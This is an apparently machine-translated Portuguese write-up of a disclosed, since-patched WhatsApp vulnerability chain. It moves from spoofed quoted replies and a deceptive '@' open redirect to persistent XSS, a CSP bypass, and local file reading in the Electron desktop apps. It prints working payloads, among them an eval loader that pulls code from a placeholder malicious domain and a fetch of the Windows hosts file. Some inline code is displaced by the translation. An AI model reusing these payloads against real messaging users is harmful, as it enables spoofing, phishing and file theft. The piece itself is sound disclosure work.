Em 2017, enquanto viajava no Peru, encontrei uma falha de segurança que o Check Point publicou alguns meses depois. Essa falha era simples. Nas palavras dos pesquisadores de Check Point neste artigo publicados em 2018, permitiu que um invasor “alterasse o texto da resposta de outra pessoa, essencialmente colocando palavras em sua boca”.
Foi legal, mas naquela época eu não conseguia ter ideia de explorar ainda mais a falha ou encontrar falhas relacionadas. Então, exceto por trolling meus amigos algumas vezes em nosso bate-papo em grupo, eu meio que deixei ir.
Um ano depois, decidi continuar minha pesquisa. Eu realmente queria encontrar uma grande falha de segurança em um serviço bem conhecido e amplamente utilizado, e eu senti que o WhatsApp era um bom começo. Então eu dei uma chance, já que eu já tinha alguma pista de falhas de segurança existentes em aplicativos móveis e web do WhatsApp.
Eu não estava pronto para o que os próximos meses trouxeram com eles, mas posso garantir que foi um passeio e tanto. Consegui encontrar mais quatro falhas de segurança únicas no WhatsApp que me levaram até o XSS persistente e até mesmo a leitura do sistema de arquivos local – usando uma única mensagem.
Este foi o meu processo:
1. Minha descoberta original – ‘alterando o texto da resposta de outra pessoa’
Primeiro, vamos falar sobre o que encontrei em primeiro lugar, em 2017, já que é a base para esta pesquisa.
Eu originalmente pensei: “Usando a web do WhatsApp, posso encontrar a linha de código onde o objeto contendo os metadados da mensagem está sendo formado, adulterá-lo e, em seguida, deixar o aplicativo continuar em seu fluxo natural de envio de mensagens, criando assim minha mensagem enquanto contorna o mecanismo de filtragem de II.
Então, por exemplo, usando essa técnica, posso alterar o texto de uma resposta a uma mensagem e enviá-la, algo que não consigo alcançar usando legitimamente o WhatsApp Web UI. Encontrei essa linha e consegui dar uma olhada no Objeto contendo os metadados da mensagem. Você pode encontrar esta linha olhando para cima em todo o código e definir um breakpoint em . Tinha muitos campos interessantes, então vamos nos concentrar aqui nos relevantes:return Promise.callSynchronously(function()
var t = e.id;
e = {
__x_body: "Why would you say that?!",
__x_type: "chat",
__x_quotedMsg: {
body: "I think you are the best!",
type: "chat",
mentionedJidList: [],
isForwarded: false,
labels: [],
},
__x_quotedStanzaID: "3EB0E42AC64D3D9BC5E7",
};
Então, essencialmente, descobri que simplesmente correndo:
e.__x_quotedMsg.body = "I think you are the worst!"; // alter the text
e.__x_quotedStanzaID = e.__x_quotedStanzaID + "_"; // change the id of the original message
antes de permitir que a mensagem envie para executar, você receberá isso:
(Isso funciona para whatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)
O corpo da citação de resposta é de uma mensagem que eu inventei e nunca foi realmente enviada na conversa atual. Isso é legal, mas não tão poderoso.
O que mais posso desmontar? E as mensagens com faixas de pré-visualização ricas?
2. Falha perigosa de Redirecionamento Aberto em mensagens com rico banner de visualização usando “@”
É aqui que essa pesquisa se torna muito mais interessante. Mensagens com faixas de pré-visualização ricas são mensagens que incluem banners com informações extras sobre um link que está no corpo da mensagem. Então, por exemplo, se eu enviar uma mensagem com “https://facebook.com” como seu corpo, o receptor receberá isso:
No WhatsApp, o banner está sendo gerado na lateral do remetente e este é um ponto importante para entender. Pode-se facilmente adulterar as propriedades do banner antes de enviá-lo para o receptor. Ótima receita para problemas aqui!
A primeira coisa que fiz foi criar uma mensagem que inclua um banner legítimo, mas redirecionará para outro domínio simplesmente substituindo o link:
e.__x_body = e.__x_matchedText = "https://example.com";
E isso é o que eu tenho:
(Isso funciona para whatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)
Fresco! Agora, mesmo que o banner pareça que vem do Facebook, clicar no link será redirecionado para https://example.com!
Estar familiarizado com todos os tipos de truques usados por atores maliciosos no mundo da web, experimentei essa ideia para ver se esse redirecionamento aberto pode ser mais perigoso:
e.__x_body = e.__x_matchedText =
"Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true×tamp=42837643@bit.ly/2SfZikR Become a friend of mine!";
(Isso funciona para whatsApp iOS/Android/Windows Desktop/Mac Desktop/Web)
Viu o que eu fiz? Consegui não só mexer com o link do banner, mas também criei uma mensagem com um link que parece pertencer a https://facebook.com enquanto o link sempre será redirecionado para https://example.com!
Isso é perigoso porque parece autêntico, já que tanto o banner quanto o link parecem que eles realmente pertencem a https://facebook.com
Isso funciona graças ao papel que “@” desempenha na especificação da URL:
O objetivo de “@” em URLs é passar nome de usuário e senha para domínios visitados da seguinte forma: . Pode-se abusar disso, como acabei de fazer, e substituir o nome de usuário e a senha por qualquer outra coisa: e ainda vai funcionar. O Firefox é o único navegador que avisa os usuários, por padrão, caso este método seja usado sem fornecer um nome de usuário e senha.https://USERNAME:PASSWORD@DOMAIN.COM
https://DOMAIN-A.COM@DOMAIN-B.com
E então me ocorreu se eu pudesse mexer na mensagem e enviar qualquer link, eu seria capaz de usar URIs?javascript:
3. De um Open-Redirect para um Persistente-XSS usando URIsjavascript:
Sim! Mas não é tão simples assim.
No começo, foi exatamente o que eu fiz:
e.__x_body = e.__x_matchedText = "javascript:alert(document.domain)";
Mas não funcionou. O WhatsApp parecia deixar cair o banner do lado receptor. Depois de algumas tentativas fracassadas, um pensamento veio à minha mente: talvez isso aconteça porque o WhatsApp olha para o link que está ligado ao banner e espera que inclua um esquema legítimo URI?https:
Então canalizando meu hacker interior, eu fiz isso:
e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';
E FUNCIONOU!
(Isso funciona para o WhatsApp Windows Desktop/Mac Desktop/Web)
Ganhou um Clique Persistente-XSS!
Felizmente para o WhatsApp, os navegadores baseados em Chromium adicionaram um mecanismo de defesa contra URIs justamente quando encontrei essa vulnerabilidade. Infelizmente para o WhatsApp, em outros navegadores, como Safari e Edge, essa vulnerabilidade ainda estava aberta. A imagem acima está usando brave – uma versão mais antiga do navegador baseado em Chromium.javascript:
Quando clicada, a mensagem em aplicativos de WhatsApp móveis nativos normalmente abre https://example.com em vez de executar o XSS (Obviamente, porque o XSS raramente é relevante para aplicativos móveis nativos).
Agora, eu não poderia alcançar um estado em que a carga não é uma parte visível da mensagem. Isso porque o WhatsApp tem uma parte em seu código que verifica se o conteúdo do link URI está incluído no corpo da mensagem quando as mensagens estão sendo carregadas. Se não houver correspondência, o WhatsApp omitirá o banner e a exploração não funcionará. O melhor que consegui foi criar uma mensagem longa o suficiente, para que o recurso “Leia mais.”.
Eu tinha que pensar em uma maneira de conseguir criar uma carga muito pequena que carregaria uma carga maior de uma origem diferente, para tornar tudo o mais desconfiado possível. Isso significaria ignorar as regras do WhatsApp de CSP, o que não seria uma tarefa fácil.
4. Ignorando as regras do CSP do WhatsApp para aumentar o poder do Persistente-XSS
Ignorar as regras do CSP é facilitado pelo Avaliador CSP do Google. Basta jogar o endereço URL do site alvo na caixa de texto, e ele imediatamente lhe diz sua configuração CSP e quão seguro (ou inseguro) o site é:
Você vê isso lá embaixo? (😈)object-src [missing]
Isto é o que eu vou fazer. Usando meu truque, vou injetar a seguinte carga na minha mensagem maliciosa:javascript:
var payload = `
hard_expire_time.innerHTML +=
'<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html" />';
onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;
E o conteúdo seria:https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
</script>
</body>
</html>
(Isso funciona para o WhatsApp Web)
Viu o que acabei de fazer? Como a diretiva está faltando, significa que posso usar para carregar um iframe(ish) para qualquer origem da minha escolha. Dessa forma, serei capaz de executar qualquer código externo sem limites de tamanho e sem problemas! Tudo o que resta fazer é executar esse código no domínio e não no domínio do meu próprio iframe, caso contrário, isso será muito inútil.object-src
object
web.whatsapp.com
Para isso, eu simplesmente uso o XSS para carregar o iframe e, em seguida, ouvir as mensagens que são postadas por diferentes janelas. Em seguida, uso o iframe para postar uma mensagem na janela superior com o conteúdo do código externo.
A janela superior, onde o XSS foi executado, recebe a mensagem do iframe, analisa a carga externa fornecida por ela e executa-a em seu contexto ().web.whatsapp.com
Ganhar! A carga externa foi buscada e executada com sucesso no contexto do WhatsApp!
E esse truque? Foi a maneira mais curta que pude pensar no momento para fazer o DOM carregar meu elemento Objeto ( é um elemento no DOM do site).hard_expire_time.innerHTML
hard_expire_time
5. De Persistent-XSS a Reading do sistema de arquivos no Mac/Windows com potencial para RCE
Surpreendentemente, esta é a parte fácil. O WhatsApp tem aplicativos de desktop para Mac e Windows.
Eu estava muito cético sobre ser capaz de usar o XSS legal que eu tinha encontrado nos aplicativos de desktop. Afinal, eles provavelmente não são feitos de HTML e JS, certo?
Cliquei na mesma mensagem maliciosa que usei no aplicativo web através do aplicativo de desktop windows e fiquei surpreso ao ver isso:
(Isso funciona para o WhatsApp Windows Desktop/Mac Desktop/Web)
Wow! Quero dizer, a parte realmente não funcionou – mas a parte com certeza funcionou! Como isso é possível?!document.domain
alert()
Eu entrei na internet, sabendo muito bem que encontraria uma resposta, e foi isso que descobri rapidamente:
Esses tipos de aplicações são escritos usando o Electron. Electron é uma plataforma legal que permite criar aplicativos “nativos” usando recursos padrão da Web. Isso torna as coisas super fáceis para muitas grandes empresas, pois permite que elas tenham um código fonte tanto para seus aplicativos web quanto para aplicativos de desktop nativos. O elétron constantemente atualiza junto com a plataforma em que é baseado em: Cromo.
Isso significa que meu XSS funciona, já que este é – afinal – uma variante de Cromo!
Mas espere, mais cedo eu aprendi que meu truque não funciona em navegadores baseados em Chromium desde o patch recente. Então por que esse XSS funciona em Electron?javascript:
Decidi usar meu XSS para alertar o usuárioAgente do aplicativo em execução, e a seguinte grande falha de segurança me surpreendeu:
(Isso funciona para o WhatsApp Windows Desktop/Mac Desktop)
Para pesquisadores experientes em vulnerabilidade, há dados suficientes nesta mensagem de alerta para identificar imediatamente o potencial rce, então pegue um segundo, e pense sobre isso!
Isso mesmo – a versão mais recente dos aplicativos de desktop do WhatsApp fornecidos pelo WhatsApp é baseada. Essa vulnerabilidade foi encontrada quando era a versão estável! Algumas versões antes , a capacidade de usar o truque foi corrigida, e se o WhatsApp tivesse atualizado seu aplicativo web Electron de 4.1.4 para o mais recente que era 7.x.x no momento em que essa vulnerabilidade foi encontrada(!) – este XSS nunca teria existido!Chrome/69
Chrome/69
Chrome/78
Chrome/78
javascript:
E ainda pior – Já que o Chromium 69 é relativamente antigo, explorar um RCE de 1 dia é possível! Existem mais de 5 RCEs diferentes de 1 dia no Chromium 69 ou superior, basta encontrar um publicado e usá-lo através do XSS persistente encontrado anteriormente e BAM: Execução de Código Remoto ALCANÇADA!
Eu não tive tempo para realmente explorar um RCE público, e portanto não tive a chance de provar a existência de tal vulnerabilidade, mas o conceito teórico é o seguinte: se você executar uma versão antiga de um aplicativo vulnerável, pode-se explorar essa vulnerabilidade e fazer b anúncio coisas para você. No entanto, demonstrei como uso a API, por exemplo, para ler arquivos do Sistema operacional local, como o conteúdo do arquivo neste caso:fetch()
C:\Windows\System32\drivers\etc\hosts
(Isso funciona para o WhatsApp Windows Desktop/Mac Desktop)
Por alguma razão, as regras do CSP não eram um problema com o aplicativo baseado em Electron, então buscar uma carga externa usando um recurso javascript simples funcionou. Esta é a carga que usei o XSS para buscar e executar do meu servidor malicioso remoto:
alert(navigator.userAgent);
(async function(){
// read "file:///C:/Windows/System32/drivers/etc/hosts" content
const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
const t = await r.text();
alert(t)
}())
E foi isso. Esta foi a minha jornada completa, desde um simples Open-Redirect, através de um Persistent-XSS e um CSP-bypassing até uma plataforma cross read completa do Sistema de Arquivos e potencialmente um 🎉 de execução de código remoto.
Principais takeaways desta pesquisa
Há algumas falhas de segurança muito sérias aqui que todas as empresas devem aprender com:
- Se o seu aplicativo usar banners de visualização ricos e esses banners forem fabricados no lado de envio, sua filtragem no lado receptor deve ser pontual. Você não pode deixar urLs estranhos carregarem no lado receptor sem ter certeza de que são legítimos. Heck, se o seu aplicativo geralmente elabora mensagens no lado do cliente, sua filtragem no lado receptor deve ser pontual!
- As regras da CSP são super importantes e poderiam ter evitado grande parte dessa bagunça. Se as regras do CSP estivessem bem configuradas, a potência adquirida por este XSS teria sido muito menor. Ser capaz de contornar a configuração do CSP permite que um invasor roube informações valiosas da vítima, carregue cargas externas facilmente e muito mais!
- Se você vai usar o Electron, você tem que ter certeza de que ele está atualizado a cada atualização do Cromo. E este é tão grande – atualizações de cromo não são apenas novos recursos legais, na maioria das atualizações de Chromium, vulnerabilidades sérias estão sendo corrigidas! Quando o Chromium está sendo atualizado, seu aplicativo baseado em Elétron deve ser atualizado também, caso contrário, você deixa seus usuários vulneráveis a explorações sérias sem nenhuma boa razão!
Resumo
E é isso mesmo. Tenho que admitir que me esforçou muito e tempo nesta pesquisa, mas estou feliz em dizer que tudo valeu a pena. Eu acho que há algumas ideias muito interessantes aqui que devem inspirá-lo a explorar novos tipos de falhas de segurança que provavelmente existem lá fora. Eu encorajo você a ir em frente e fazer isso de forma responsável! E se você está do outro lado do jogo, por favor, use este artigo para endurecer sua aplicação. Estamos em 2020, nenhum produto deve permitir uma leitura completa do sistema de arquivos e potencialmente um RCE de uma única mensagem.
O Facebook remendava esse CVE.
FONTE: PERIMETERX